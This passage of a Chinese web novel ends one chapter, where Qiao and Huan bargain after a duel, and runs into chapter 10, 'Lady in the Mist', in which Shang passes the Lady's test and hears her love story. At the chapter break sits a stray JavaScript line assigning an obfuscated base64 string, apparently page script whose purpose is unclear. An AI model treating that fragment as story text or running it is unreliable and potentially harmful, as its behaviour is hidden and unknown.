寰看着乔,神色坚定地说: “我还会回来找你的,乔。你逃不出我的手掌心。” 乔将黑剑抵在寰的脖子上,冷冷地说: “我觉得有必要现在就处理掉祸患” 寰冷笑几声,反问道: “你真的忍心吗?” 乔的目光疑惑了一刻。寰又接着强调道: “你杀了我可是会遭到永劫不复的灾祸哦,你所拥有的一切,包括那家公司的每一个人,都将在三角协会的铁拳下粉碎。除了你的妹妹以外,任何跟你有关的人都是死路一条哦。” 乔无可奈何于她,只好收起了黑剑。寰见乔这样,得意地笑了笑。这时候,乔对寰伸出了手。寰苦笑一声,非但没有接受乔的好意,还反问道: “你是在羞辱我吗?” 乔无奈地摇了摇头,一脸不耐烦的样子。乔刻意俯下身去,压低自己的身位,做出退让。寰见他这样,还是不领情的样子。傲娇的寰瞪了乔一眼。乔呵呵一笑,准备起身。寰见了,急忙拉住乔的手。寰傲娇的样子令乔忍不住发笑。虽说寰心里有一百个不愿意,但她的身体还是很诚实地拉住乔的手起来了。 寰拍了拍身上的尘土,乔无动于衷。拍完身上的尘土,寰自信地撩了下头发,又摆出她的招牌姿势。乔静静地看着她,心里盘算着怎么摆脱她。 寰: “真是可惜呢,我竟然输了。想不到所谓都市之王,竟然如此强大!真是令我非常羡慕呢。” 乔: “谢谢夸奖。你说胜者有决定的权利,可否食言?” 寰: “否然。说吧,你作何决定?” 乔: “永远不要出现在我眼前。” 寰: “真是有够艰难的呢。这样是在逃避哦,乔。对于战士来说,与对方永别的方式只有杀或被杀。” 乔: “你这样岂不是在耍赖?” 寰: “不,你其实可以杀了我,你一直都有机会的,乔。不过我也说了,你杀了我会遭受怎样的灾祸。你若忍心,我现在就站在这里一动不动,任你处置。” 乔: “你这女人!真无耻。” 寰得意的一笑。 寰: “这不叫无耻,这叫实力。让人杀都杀不掉,真令人羡慕不是吗?” 乔: “住口!无耻老贼。” 寰捂着嘴笑了笑。 寰: “别生气嘛,乔。” 乔: “那你不出现在我眼前整整一年,可否?” 寰: “那样我会寂寞到数星星的,不可以。” 乔: “一年太长,半年怎样?” 寰: “那样我会无聊到重读名着三四遍的,也不可以。” 乔: “那一个季节怎么样?” 寰: “不可以。” 乔: “一个月?” 寰: “嗯......这个吗。” 寰摇了摇头。乔的耐心被消磨殆尽,乔拔出黑剑,指着寰。寰见后丝毫也没有恐惧,反而勇敢地往前走了一步。 乔: “谈判结束。我受够了!两个月,必须两个月。” 寰: “不行呢。” 乔: “那我就把你的胳膊剁下来。” 寰伸出自己的左臂,毫不在乎的样子。 寰: “来,请你下手准一点。” 乔被寰给气笑了。寰见他这样,得意的笑了笑。乔收起黑剑,猛然间想到了一个最好的办法。 乔: “你若是不答应我的要求,我明天就去相亲,找个温柔贤惠的女人当老婆。” 寰一听大惊失色,有那么一瞬她的脸都吓白了。 寰: “你敢!你要是那样做,我就杀了你!” 乔: “或者说,我买一点化学药品,我在里面呆个半天。” 寰赶忙劝乔。 寰: “不行!你不能那么做!你那么做是在糟蹋自己,一点好处都没有的。” 乔: “甭劝我,我一会就着手去办。” 寰: “不行!乔。” 考虑再三,寰还是委屈地答应了乔,尽管她不愿。 寰: “我......我答应你的要求。两个月对吗?两个月我忍得了。” 乔: “那样这就谈成了。对吧?” 寰: “对......” 乔: “好了,现在消失在我眼前吧。” 寰捂着脸,一脸痛苦的样子。突然,她的脸上浮现起一抹坏意满满的笑容,这笑容令乔感觉不安。寰放下手,接着猛地抽手一甩,嗖的一下,空间切割,似乎有东西被切断了。乔吓得浑身一颤,差点就拔剑了。乔本能地检查了身体,发现似乎没有地方被攻击。乔叹了口气,是虚惊一场。 乔: “你这女人,吓我一跳。” 寰捂着嘴偷笑,乔一看她这样,感觉哪里不大对劲。就在这时,他眼中出现一大块黑色物体,他一把抓住,接着仔细一瞧。那个黑色物体竟是一撮头发,这头发乔越看越是眼熟,这形状这发质都无比的熟悉。突然,乔似乎是知道了什么,他赶忙用手摸了摸头发。这一摸不要紧,摸完他发现正好去了一块,那一块还是最重要且最美观的那一块。乔顿时怒上心头。 乔: “我的头发!!!啊!我的头发!我的发型啊!” 寰捂着嘴偷笑,一副事不关己的样子。乔见寰那样,恍然大悟。 乔: “你这女人!” 乔拔出黑剑,愤怒地用剑指着寰。 乔: “我改变注意了,寰。我现在就要杀了你!” 寰调皮地吐了吐舌头,满脸幸灾乐祸的样子。乔怒了,挥动黑剑就打了过去。黑剑速度比较慢,寰轻松地后撤三步躲开。寰拍了拍手,像是发号什么指令。一旁的c刚刚对马塔库库和上官使用完c级记忆清除,听到寰的拍手声,立即瞬移到寰的身旁,等候施令。 寰: “好了,今天玩得够开心了。c,走吧,我们回去处理国际事务。” c: “明白,管理员大人。” 乔用手指着寰,面部狰狞的样子,他的怒火清晰可见。 乔: “别走!赔我头发。” 寰用带有一丝俏皮的语气对乔说: “这事我们没完哦。” 乔愤怒地说: “不要抢我的话。” 寰呲牙一笑,随即和c一起传送走了。目送二人离开,乔的怒火很快被担忧所取代。刚刚的愤怒其实是装的,虽然头型被毁灭的那一刻他真的生气了。乔叹了口气,心里不由得担心起寰来。依照寰好战的性格,寰极有可能在与某个强大存在的战斗中失去生命。现在世界上出现了越来越多危险的存在,寰指不定会死在那个强大存在的手上,那些怪物可不会在乎寰的地位。正因如此,乔才没告知寰“门”的那件事,就是怕寰年纪轻轻就死在了门里或门外。 乔: “这个好战的女人,真是不让人省心啊。” 乔低下头看了看自己的手,他的手上还有几粒尘埃。 乔: “不过她说对了一件事,那个打印机......不,她说的那些道理,对我的指责、对我的批判。值得我反思。我的确该试着去考虑别人的感受,也该试着去接纳那些好意以及那些不完美的东西。尝试去爱别人,尝试在不信任中找到信任,谁叫我们是有感情的人类呢。那个打印机......也许没并没有那么糟。” 乔握紧拳头,抬头看向远方。他静静眺望,深思着未来的道路。看了一会,他转过身去,看向战场之外的两人。马塔库库和上官躺在地面上一动不动,看样子是昏了过去。乔无奈地叹了口气,开始思考怎么把两人弄回公司...... ...... “所以说,这就是你和寰之间发生的事吗?” 殇对着电话那头的乔说道。电话那头的乔回答殇: “没错。” 殇思考了一下故事的细节,而后问道: “那马塔库库和上官这两人你是怎么给运回去的?” 电话那头的乔解释道: “我叫来了阿曼达他们,他们将马塔库库和上官给送了回去。” 殇追问道: “那他们现在怎么样了?” 电话那头的乔解释道: “都醒来了,不过都不记得那时候的事了。” 殇调侃道: “看来对方想的挺周到。” 电话那头的乔提醒殇: “殇,若你以后再见到寰,一定别忘了我嘱咐你的那些。” 殇信誓旦旦地保证: “放心吧,指定忘不了。” 这时,殇的心中多了一个疑问。殇问电话那头的乔: “所以说,你对寰就一点感觉都没有吗?” 电话那头的乔沉默了片刻,而后冷冷地说: “无可奉告。” 说完,乔就挂断了电话。殇一见到这种情况,不由得皱紧了眉头。虽然乔没说,但殇心里已经有了答案。殇笑着叹了口气,然后缓步离开了面馆。在面馆外,殇看到了绕着路灯杆乱走的甘霖饶。甘霖饶双瞳血红,似乎正在寻找着什么东西。殇走过去,好奇地问: “小甘子,你在找什么呢?” 甘霖饶吓了一跳。在听到是殇的声音后,她转过身来,笑着解释道: “我刚刚发现了一些有趣的东西,一些特殊的脚印。好像有会机关术的宗门人员来到了这座城市。” “那岂不又是天上人派来的刺客?” “大概率是的。” “哦,对了。小甘子,你咋没跟邵铁华在一起呀?” “哦,这个吗......我们吵架了。” “吵架了?” “她非得说甜豆腐脑好吃,可我觉得咸豆腐脑好吃,我们就在这个问题上吵了一架,早上过得挺不愉快的。” “啊,这......要我说啊,白菜萝卜各有所爱,吃什么、爱吃什么是每个人的权利,没有好坏高低贵贱之分的。” “哦。殇大哥,那你说我现在找她道歉合适吗?” “合适,怎么不合适呢?你道个歉,这事也许就解决了。而且,没准邵铁华现在还到处找你,想跟你道歉呢。” “真的吗?殇。” “真的。赶紧去吧,人家正找你呢。” “嗯。我现在就去。” 告别完甘霖饶,殇上街去找活干。就在是殇走过一条人烟稀少的街道时,街上突然变得雾蒙蒙的,不一会整条街都充满了白雾,殇在其中什么也看不清。就在殇纳闷这白雾的由来时,他的身后传来了轻轻的脚步声。殇转头看去,看到雾中有一个发亮的光点。再仔细一瞧,那是一块戒指上的发光宝石。顺着戒指向上看去,一个女子朦胧的身影出现在雾中。 殇见了她,脑中不由得联想到曾在报纸上看到的都市传闻,一个名为“雾中夫人”的都市传说。 正当殇思考对方身份之时,对方开口了。 “敢问你可是强者一位?” 对方用极度温柔的口吻问道。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十话:雾中夫人(一) 白雾弥漫在街上,雾中的一切冥迷不清,点点微光浮游在烟霭的海洋之中,似一支小舟孤寂地漂流。阳光透过白雾照进雾中的世界,模糊又神秘的事物都悄悄显了形。雾中伫立两人,一位是雾中世界的入侵者,另一位是雾中世界的主宰者。两人刚一见面,周围的空气就凝固了下来,他们警觉着彼此。 听到那位女子刚刚问的问题,殇思索了片刻,而后警惕地问道: “你是谁?” 那位女子撩了下头发,稍显优雅;而后说道: “我是雾中夫人。初次见面,幸会。” 殇一听,还真是都市传说里的那位雾中夫人。殇都把都市传说当个段子看,没想过它竟然是真的,不料他今天竟然亲眼见到了都市传说,殇是无比惊讶。在惊讶之余,殇更多是警惕,未知的事物对于他来说总是危险的。 殇很警惕地问雾中夫人: “你就是都市传说里的那个雾中夫人?” 雾中夫人即答: “没错。” 殇又问: “那怎么证明你就是本尊呢?” 雾中夫人回答: “周围这些白雾就是答案。你若离开白雾,你将不会见到我。我随这些白雾而来,也随这些白雾而去。我所在的地方即是雾的归宿,因而我正有名为雾中夫人。” 殇一听她这么解释,又联想到都市传说中雾中夫人善良的形象,自发觉得雾中夫人不会是坏人,于是就放下了警惕。殇细细回想雾中夫人之前问的那个问题,殇察觉到需要帮助的气息,于是便问: “你一开始问我的那个问题,是为何而问出的呢?” 雾中夫人的脸上涌现出点点笑意,殇的话正中下怀。雾中夫人解释道: “我需要一个英雄。” 殇一脸疑惑地说: “什么?” 雾中夫人继续解释道: “我的爱人遭受到一场灾祸,现在深陷桎梏,正处在水深火热的境地。我需要一个英雄,一个骁勇善战的英雄。我希望那个英雄可以拯救他,将他从远方的彼岸带回我身旁。” 殇突然感觉肩上一沉,心头一紧,仿佛是使命在召唤。殇思考了下自身的状况,在权衡利弊之后,犹豫再三,还是出于善心而决定帮雾中夫人。不过在出手帮忙之前,殇得先知道事情的来龙去脉。殇心机缜密,不会盲目出手。 殇笑了笑,说: “也许在下正是你要找的英雄。” 雾中夫人一听,喜上眉梢、满面春风。她的表情很是吃惊,惊中有带着喜,喜中又带着希望,她没料到殇能这么爽快的答应。雾中夫人诚挚地感谢道: “谢谢你,好心人。” 殇话锋一转,要求道: “不过......在帮你找爱人之前,你得先告诉我事情的来龙去脉。帮人得有个帮人的理由。” 雾中夫人听殇这么要求,抿着嘴笑了笑,她的笑中藏着几分阴森。雾中夫人抬起手,亮出手背上的死亡咒痕,顿时间雾中弥漫起了阴冷的寒气。雾中夫人郑重地告诉殇: “很抱歉,好心人。在那之前我得先确认一下你是否具备资格,不然我不敢放心将希望寄托于你。我怕希望越大,失望也越大。” 一小团金色的冥火从她手中燃起,似冥河使者明亮的眼眸一般,发出令人胆寒的光。雾中世界不再安静,冥火猛烈燃烧。殇见此,平淡的一耸肩,露出和善又稍显俏皮的微笑。殇摆出战斗架势,准备迎接战斗。 “向我证明你的力量,我的英雄。” 战斗开始,雾中夫人率先出手,对着殇使用冥火轰击,可惜殇全都躲开了。雾中夫人二连挥手放出爪气,殇直接选择猛抓手手撕,华丽的应对方式。殇激活核心,汇聚能量打出二连天溯铳拳,雾中夫人蹦跶一下躲开。殇踏地,蓄势接蹬腿,使出狼袭拳,一拳打出一阵狂风,可惜雾中夫人蹦跶一下闪开了。雾中夫人对天伸手,一把拽下五颗炙热之星,接着伸手对殇使用轰击,殇用侧移步加前突步伐躲开。雾中夫人变出两把光剑,上前使用连挥,殇用武术反制。见这招不行,雾中夫人后撤三四步,召唤出一把光之弓,对着殇连续射击三次,但都被殇躲开了。 在某一时刻,雾中夫人无意间暴露出致命破绽。殇犀利的眼捕捉到这点,决定使用处决技一招制敌。 殇抓住机会,一个箭步上前用出隼之摔技,直接将雾中夫人摔飞到半空。雾中夫人猝不及防,在半空中陷入失稳状态。殇疾步前冲上前,一个飞步跃起,一把接住雾中夫人,接着一个华丽的转身落地,然后将雾中夫人放回地面。一系列动作丝滑流畅,中间没有半点失误。刚刚的那一技足以让雾中夫人认可殇。若殇中途按原招出脚在空中使用重踢腿,再加上之后的一系列连招,足以要了雾中夫人的命。 雾中夫人落地之后,还有些惊魂未定。雾中夫人捂着心口,头晕了一会,刚刚那一招让她头晕目眩的。等雾中夫人缓过来,雾中夫人露出一抹满意的笑容,并对着殇点了点头,她认可了殇的实力。 雾中夫人: “我认可你的实力了,好心人。现在,你可以报上姓名了。” 殇: “我叫殇。” 雾中夫人: “殇?嗯......很酷的名字。” 殇: “所以说,你现在可以告诉我了吗?” 雾中夫人: “且等片刻,随我去我的暂住地一趟。” 殇: “行。走吧,你带路。” 雾中夫人对着殇伸出手,殇看了看她的手,随即握住了她的手。黑红色的烈焰燃烧在两人周围,一堵火墙环绕在二人身旁,随着燃烧火墙越来越高。一道耀眼的闪光过后,白雾散去,街上恢复了往日的色彩。 一栋位于北斗城郊区的宅邸前,黑红色的烈火乍现,两个人影在火中出现。烈火消尽,雾中夫人和殇出现。到了地方,殇打量了一下周遭环境,又审视了一下雾中夫人的居所。 奇怪的是,这周围竟然没有白雾,这不符合雾中夫人的特质。 雾中夫人的房子建在一个恬静的小山头上,这里的视野极佳,风光无限好。往远处眺望,是喧闹的都市与宁静的群峦,还有几只寻家的小小鸟,迎着夏风翱翔在天穹,寻找人间的自在。往近处看望,是脚下这片生机盎然的土地。这里有花有草有树林,还有一条狭长的小路,它通向最近的人烟:山脚下的镇子。在此处生活,注定是种美妙的体验,与自然亲密接触,聆听风的呼声,感受四季的无限风光。看到这些景象后,殇感觉赏心悦目,不由得夸赞雾中夫人的品味高。 雾中夫人谦虚的一笑,只是一笑没有说话。 雾中夫人的房子是间木屋。木屋墙整体为白色如雪,屋顶采用太玄国设计,采用红色瓦片铺设而成。木屋面朝东南方向,内部采光环境极佳。木屋配备的门窗的格局非常有讲究,兼具实用和美观,一眼看过去让人赏心悦目,心情不由得大好。走进屋内,细细一瞧,屋内的陈设平平无奇,看起来就与其他住宅别无两样。但在这抹平淡之中,却暗藏着房主刻意点缀的典雅。一些难以在意的细节上,充分体现房主的个人性格。 雾中夫人安排殇在客厅沙发处坐下,她将在这里讲述那段往事。在讲述故事之前,雾中夫人按照礼节得先招待一下客人。雾中夫人很客气地沏了一壶茉莉花茶,又拿来两个茶杯,先为客人倒茶,后为自己倒茶。倒完茶,雾中夫人伸手示意,又客气地说: “请。” 雾中夫人的这番礼貌殇会记住的。殇露出微笑,很尊敬地点了点头,然后拿起茶杯抿了一口茶。茶水的口感还不错,殇对此表示满意。雾中夫人拿起茶杯,轻轻吹了吹,而后也抿了一口。雾中夫人举止优雅,只是喝茶这一件小事就能体现她的个人素养,那盖不住的高贵气息,悄然散发在她的身上。殇敏锐地嗅到这一点,隐隐觉得雾中夫人并非凡人,那份高贵气息不属于这里。 殇: “你是外乡人吧,我看你这气质不像是本地人的样子。” 雾中夫人: “您可真是慧眼呢。我的确不是本地人,我是后来搬到这里的。” 殇: “那你的家乡是何处?” 雾中夫人: “我的家乡是遥远的西柏木。三年之前,我在别人的帮助下来到这里,因为一些原因就住了下来。这一住,就住到了现在。” 说话间,殇的视线无意间移到了她的手上。殇看到她左手无名指上有一枚戒指,戒指上嵌着一颗闪着星光的宝石。 殇: “那枚戒指是你的爱人送你吧。” 雾中夫人: “哦!你说那个呀。对的,那是他送给我的订婚戒指,同时也是结婚戒指。” 殇: “你的爱人现在身处何方?” 雾中夫人: “在遥远的禁区,天宗。” 殇: “啊?那你爱人是犯了什么重罪吗?怎会被流放到那里去?” 雾中夫人: “他犯下唯一的罪,就是为了我余生的安宁而鲁莽,他杀了不该杀死的人。” 殇: “那你与你爱人有多久没见面了?” 雾中夫人: “自从那一夜突然的昏睡之后,一直到现在,已经足足三年了。” 殇: “那你这三年过得有够孤独的吧。” 雾中夫人: “孤独说不上孤独,只能说相思时令我倍感折磨,这三年我一直在挂念着他。看着天上的星辰,吹着清凉的晚风,我回想起我们曾在一起的日子。那段日子令我怀念......现在想来,其实我从见到他的那一刻,我就知道他喜欢我了。不过那时候他胆怯的要死,像个可爱的小老鼠;我也迫于那该死的面子,害怕周围人的目光,而刻意选择藏匿。哈哈哈,这一点,我们两个惊人的默契。” 雾中夫人: “那时候我还不像现在这样普通,我们之间的差距在那时非常巨大。可以说一个天上,一个地下。——哦!抱歉,忘了你在身旁了。” 殇: “没事没事。你继续说,我对故事这方面挺感兴趣的。” 雾中夫人冲殇笑了笑。 雾中夫人: “他是我遇到所有男人中最棒的那一个,他的灵魂高尚的让我羡慕。打碎阶级的墙壁,跨越地位的差距,他在最低的起点冲击了最高的苍穹,以最弱小的力量博赢了最强大的敌人。我能有幸与他相识相爱,是我今生最大的幸运。” 雾中夫人: “要知道,有的男人是怎样都渣不起来的,那份专心是亘古不变。就是百般刁难、历经一切痛苦、失去所有,只要所爱之人一句安慰,哪怕是无意中给予的一丝希望,还能站起身来勇敢地去爱。那样的男人,稀如旷世珍宝,已如奇迹般存在。能被那样的男人爱上,是这世上最大的幸福。而我个幸运的女人,我的爱人就是那样的男人。” 殇: “你的爱人想必是什么贫苦出身的人中之龙吧。” 雾中夫人: “不,他就是个普通人,还有点无趣的那种。” 殇: “那可真是奇迹!若哪天我见了他,定得好好认识一番。” 雾中夫人拿起茶杯喝了口茶,稍作酝酿,准备讲述她们二人之间的故事。 雾中夫人: “做好准备了吗?殇。我要开始讲我们之间的故事了。” 殇: “耳朵告诉我它准备好了。” 雾中夫人: “嗯。——你可真是奇怪,竟然会想听别人的故事。你和那些收钱办事的家伙不同,你的形象在我眼里有一点亲切呢。” 殇: “哦?有吗?哈哈哈......也许是我处理事情的方式不同,给你带来正面情绪了罢。” 雾中夫人: “你可是真是有趣。” 殇: “请讲吧,我的耳朵都等不及了。” 雾中夫人: “有点小幽默呢。——那好,我开始说喽,你可一定要认真听。” 殇: “放心吧,既然要求你说了,那我肯定得好好听。每个人的故事在我眼里都值得去听一听。在这个百花齐放的时代,每一朵花都值得去赞美。即便它不会绽放,即便它也已凋零,但只要它是花,我就有赞美它的理由。” 雾中夫人: “很有格局的一番话呢。” 接下来的时间里,雾中夫人向她的英雄殇讲起了她与她爱人的故事。雾中夫人沉浸在美好与残酷并存的回忆之中,她隐约还能感受到当初的那份激动。她的心中下起了一场雨,她没有伞,站在雨中静静感受雨水的冰冷。她抬头看向天空,云彩之间的缝隙里透来阳光,风暴即将过去,晴空即将到来。她心里埋下一份希望的种子,期待未来的无限种可能。她猜,英雄凯旋之日即是晴空归来之时。 诉说一段往事,回味过去的美好。她偷偷藏起来的那些糖果,诉说故事时可以偷偷含上几块。没人会知道那糖果的滋味,除了她自己。 雾中夫人的回忆: 我还记得,那是五年前一个夏夜,我和我的代行者夜莺大兵哥在潘森河旁的阳光三号公园里散步。那时我还是titan(泰坦)集团的首脑。 就在这次散步的过程中,我与那个男人第一次相见了。他手捧一把吉他,坐在长椅上弹奏欢快的乐曲,脸上挂着笑容,一副平易近人的样子。我不自觉地将目光移到了他身上,他见我注意到他,冲着我笑。我见他这样,敏感的我猜测他是在找今夜的伴侣。可惜,他并不是我的菜。我只是看了他一眼,然后就带着大兵哥离开了。我能隐隐感觉到,我在他的目光护送下离开,他悄悄注视着我。 自从这天开始,我只要来阳光三号公园,我都能见到他。同样的地点,同样的人,就是每次的乐曲不大相同,弄得他好像是位吟游诗人。他总会对我笑,似乎想引起我的注意,但又不好意说,那种含羞感让我觉得他比较老实。我每次只是看他几眼、敞开耳朵听个一会,心情好的时候还会停步一会多听上个一两分钟。每次恰巧碰到一首曲子的结束,他总会问我:“怎么样?我弹的好吗?”,我也总会回答他:“还可以,继续努力。”。我没想到只是我随口说出的几句鼓励,竟成了他弹奏的最大动力。 以后与他的每次相见,我都能感觉到他技巧的提升,他的曲子也越来越符合我的品味。渐渐地,我就把他当做了一道风景,每次来阳光三号公园,我肯定得去走那条熟悉的道路,专门路过他那里听个几分钟,然后带着好心情离开,也给他留下几分好心情。他的目的的确是达到了,他引起了我的注意,也勾起了我对他这个人的好奇。为此,我专门让大兵哥调查了他。 那个引起我注意的男人叫魏春冀,是泰斯公司的基层员工,月入440通币,家境非常一般,没房还没车,生活可谓是非常清贫。据说他的信誉比较高,人际关系处理的也不错,不过朋友很少。他的性格老实内向,还有一点点社恐,还是个比较无趣的男人。 看到关于他资料的瞬间,我对他可谓是失望透顶。我以为他是经理或者主管这一类的中层人,没想到他竟然比我预想的最低层位还要低。敏感的我瞬间就明白他这番吸引我注意的用意了,无非是想改变自己的现状,从我身上谋钱。这么一想,我对他的印象顿时就坏了起来。我不禁感到几分气愤,把我当谋权地位的工具怎能行?我定不会让他得逞。想把我当富婆,让我去包养他,做梦!我曾经有过三段感情史,对情感这一方面还是比较了解的。若想把我当成雏儿来对待,简直是拿生命做赌注,不要命了! 我决定去试探一下他,看他到底是怎么想的。 我在一天晚上支开大兵哥,自己一人去公园里散步。同样的位置、同样的人、同样的表情,我能看出他见到我很开心。我坐在他旁边的长椅上,听了一会他的弹奏。一首弹奏完,他如往常一样问我: “我弹得怎么样?” 不同往日,高冷的我挤出一抹虚假的笑,告诉他: “很不错,距离完美又近了一步。继续努力吧。” 接着,我装出很好奇的样子,转头盯着他。他见我这样,浑身一颤,满脸疑惑。我一眼就看穿了他的伪装。他呼吸频率有些不稳定,一看就很紧张,笑脸上微微泛着点红,双眼有点怯怯的样子,是害羞于面对我,那是喜欢一个人的感觉。 我问他为何要每日在这里弹奏,他告诉这是他的爱好。我又问他是否是吟游诗人一位,他说不是,而且他还一五一十地告诉我他的工作,详细到公司的地址。我又问他是否知道我的身份,他沉默一下,我以为他会避而不答,于是心中窃喜,以为我的直觉正确。结果他想了一会,又将我的身份一五一十告诉了我,说的是一字不落。我没料到他会这样耿直。 我和他聊了一会,信息核对的很成功,他说的话一句没有假的。住址、工作、经济状况、个人爱好......我能查到的信息都与他口头描述的一致。这着实惊到我了,他是不会撒谎吗?为何他的口中吐不出一句谎话?这样的坦诚,令我印象深刻。他是我见过最诚实的男人,我对他的看法再次发生了改变。 聊天结束前的最后一刻,他叫住了我,有些不好意思地问我: “涅小姐,我们......我们可以成为朋友吗?” 高冷的我思索片刻,露出一抹神秘的微笑,我并未告诉他答案,但我猜他心里应该已经有了答案。我匆匆地离开,头也不回一下。但我可以猜到,他的眼应该正凝视我的背影,心里不知是怎样的欢喜。这次试探是我最失败的一次,因为我没得到最真实的信息,他的真实度还很“模糊”,我尚未确定他的本心如何。但有一件事是无可否定的,那就是他从心里暗恋着我。 不过高傲的我认为,他最大的充其量也只能算作我的一个朋友,而非真正的人生另一半。他的资质不足、没有地位、没有经济,只是对我的盲目爱慕,这样是无法打动我的。我比较实际,看不得那些虚假的东西。 我一直在观察着他,等待他露出马脚的那一天。 后来,发生了一件令我无语的事。大兵哥不知那根弦不对劲了,突然向我请了一晚上的假。我以为他是去处理家里的急事,就给了他假。没想到,他是去阳光三号公园找魏春冀问话去了。问就问吧,人家魏春冀将真相告诉他之后,他还给人家魏春冀打了一顿,真令我无语。据说魏春冀伤得不轻,不光是断了三根肋骨,胳膊还受伤了,起码两周无法工作。 我知道这事之后,把大兵哥给训了一顿。大兵哥将魏春冀说过的话的录音放给我听,还阐述了一下他的个人看法,劝我远离魏春冀。魏春冀在录音里阐述了自己想跟我成为朋友的想法,表示自己会不断提升自己的各种方面,争取早日能与我成为朋友。这些事情我早就知道了,因此我在大兵哥面前表现得一点也不意外。大兵哥跟我说了很多,也举例给我论证了他的观点;大兵哥虽然说的很对,但我对魏春冀实在是有一点点的好感,说远离也不是一瞬的事。而且,要远离也得在事处理完再远离,做人做事要讲究个德字。我的手下将他打伤,作为打人者的上司,我肯定难逃责任。因此我得去给魏春冀赔罪去。 我带着忐忑的心去老地方找到了魏春冀。魏春冀身上贴着许多药膏,脸上还贴着创可贴,手臂上绑着石膏、挂着支架,伤得很重的样子。令我没想到的是,经历过此事,他竟然还对着我笑,一点也没有害怕、憎恨我的样子。愧疚感飞速漫上我敏感的心,如洪水猛兽般将我淹没。我坐在他旁边的长椅上,询问起他的状况。 “身上的伤好得怎么样了?” 他忍着身上的病痛,对我笑了笑,那笑容既痛苦又坦然,仿佛不在乎那些痛苦与委屈。他告诉我: “还行。再过个几天就可以回去上班了。” 我故意在他面前吐槽起大兵哥,想看看他是什么反应。 “大兵哥也太粗鲁了,一点也不像个绅士。瞧给你弄得,真让人心疼啊。” 他苦笑了几声,说: “涅小姐,谢谢你关心。还有,下回别忘嘱咐他几句,别二话不说就动手。我可不是排球,摔一下都要命啊!” 我听他这么说,便问: “他昨晚是把你当了排球吗?” 他点点头,说: “没错。不仅是排球,还有实心球、铅球、足球......” 听他这么描述,我可以想到他昨天晚上到底经历了什么。我不由得惊呼道: “天呐!那么凶啊!” 他点点头。也许是因为愧疚,又或许是因为对大兵哥冲动行为的不满,我有些生气,又有些莫名的心疼。我与他简单聊了几句,就切入正题,由我代表大兵哥向他道歉。道歉过后,他的表情始终如一,不变的笑容。他似乎并没有因为这件事而生气,反倒对大兵哥的行为表示理解,也并未责怪我和大兵哥。最令我诧异的是,他竟为了素不相识且伤害过他的大兵哥说情,请我不要过多责怪大兵哥。 那一瞬间,我被这个男人如天使一般的善良所感动到了。 我当即就给他转了1000通币,作为赔偿。这些钱顶他两个多月的工资,是对于他这样的基层员工来说的大甜饼。我本以为他会全部收下,占个不错的便宜。只是没想到,他竟给我转回了763.3通币。他只收走了与医药费等额的钱,多的一分也没要。我非常不解地问他为何要这么做,他只是笑着、耿直地告诉我: “涅小姐,你的好意我收下了。剩的钱我不需要,我只要我的医药费。既然能治好我的伤,就没必要多要,毕竟那是你的钱。而且,多要也没用不是吗?” 他的话令我印象深刻。不多要、不贪心、不去占便宜,在我心里的他贴上了名为正直的标签。心中的一点好奇让我决定再考验考验他,验证这份正直是否真实。在与他告别之后,我刻意给他转了通币,还附带一句话,告诉他这钱是我看他品质好就白给他的,还告诉他可以随便花。我想看他究竟有何反应,我认为他值得我这么一试。 结果过了很长时间,都没见到他将这钱给我转回来。 我顿时心灰意冷,心中对他的好印象都消失得无影无踪。我的直觉似乎胜利了,他就是我印象里的攀高枝者。但一直以来我对他的印象告诉我,他不是那样的人。在这样的矛盾之中,我度过了忙碌的几天。在又有时间去溜达的时候,我支开大兵哥只身一人去老地方,看看他到底会不会等着我。 说真的,我那时心里非常忐忑、非常不安,我害怕我的直觉是最后赢家,我怕他会真的是那样见钱眼开的男人。结果等我到了地方一看,他在长椅上睡着了。我走上前去一看,他手里拿着一摞银行卡,我顿时就明白了他的心意。不过我没立即叫醒他,而是坐在他一旁的长椅上静静地看着他。我看了他足足有十五分钟,他愣是在那里一动不动,他睡得是真香。 正当我起身准备叫醒他的时候,他身子一歪,啪嗒一下,他的脸和长椅亲密接触了一下。这一下把他弄醒了。他睁开眼,挺直腰板坐在长椅上,静静地等待什么到来。他的头来回摆动,视线来回变换,像是在寻找目标。这时我咳嗽了一声,他立即转过头来看向我。见到我的瞬间,他喜出望外,赶忙将手中那一摞银行卡都交给了我。我接过这一摞银行卡,好奇地问他: “这些是什么?” 他笑了笑,告诉我: “涅小姐,你的好意我心领了。我只是受了点轻伤,不必弄得这样隆重。我的支付等级太低了,没办法一次性给你转十万,我就花点时间办了这一摞银行卡,将你给我发的那些钱都转到了这里面。密码我都用贴纸给你贴在卡上了,你要取的话随便哪个银行都能取。” 我看着手中这一摞银行卡,心里一阵温暖。我的直觉又一次输了,他不是那样的人,真的不是!十万可是笔不小的数目,这样大的诱惑他竟然没有心安理得的收下,而是退还给了我。我可以准确地说,他的正直是真的。我当即决定请他去高档餐厅吃一顿饭,好好补偿一下他。他摆手拒绝,连续拒绝了我三次。我硬要拉他去,他只好找了个身上负伤的理由,改天再跟我去吃饭。 等他身上的伤好得差不多的时候,我约他在市中心一家高档餐厅吃饭。我先到的地方,于是我便坐在那里等,等了差不多十五分钟他才来。他来时,还特意换了身高档的白西装,看来是有备而来。不过眼尖的我还是看出,这身西装尺码与他本人不符,看来他应该是借了上司的西装来赴约。虽然看着别扭,但总体上我还是很满意的。我不得不夸他真是有心了。 菜单拿上来时,他伸手接过,一看到上面的菜品和标价之后,脸色顿时变得有些慌张。这家店我常来,这里的一杯纯净水是60通币,最便宜的菜品是40通币,常混迹基层的他,见了这样昂贵的菜品,自然得吃惊一阵子。他向我投来惊慌的眼神,似乎是在向我求救。我从容一伸手,从他手中拿过菜单,随口要了三个菜,再点了两瓶果汁。点完这些,我问他: “你要什么?这顿我请哦。” 他畏手畏脚地半天不说话,他在用眼神给我暗示,但我没看出这暗示是什么意思。我自己瞎猜了一阵子,随口给他点了份神料牛排加一份全料八方尊(一种披萨饼的名字)。等服务员下去,他小声地问我那些菜有多少钱,我淡然一笑,告诉他这些菜总共才1012.5通币,他吃惊地望着我,眼中满是难以置信。也许对于他这样的基层公司员工来说,这些钱已经是难以想象的数字了。但对于我来说,这些其实不贵,偶尔一周来一次我都可以承担得起。 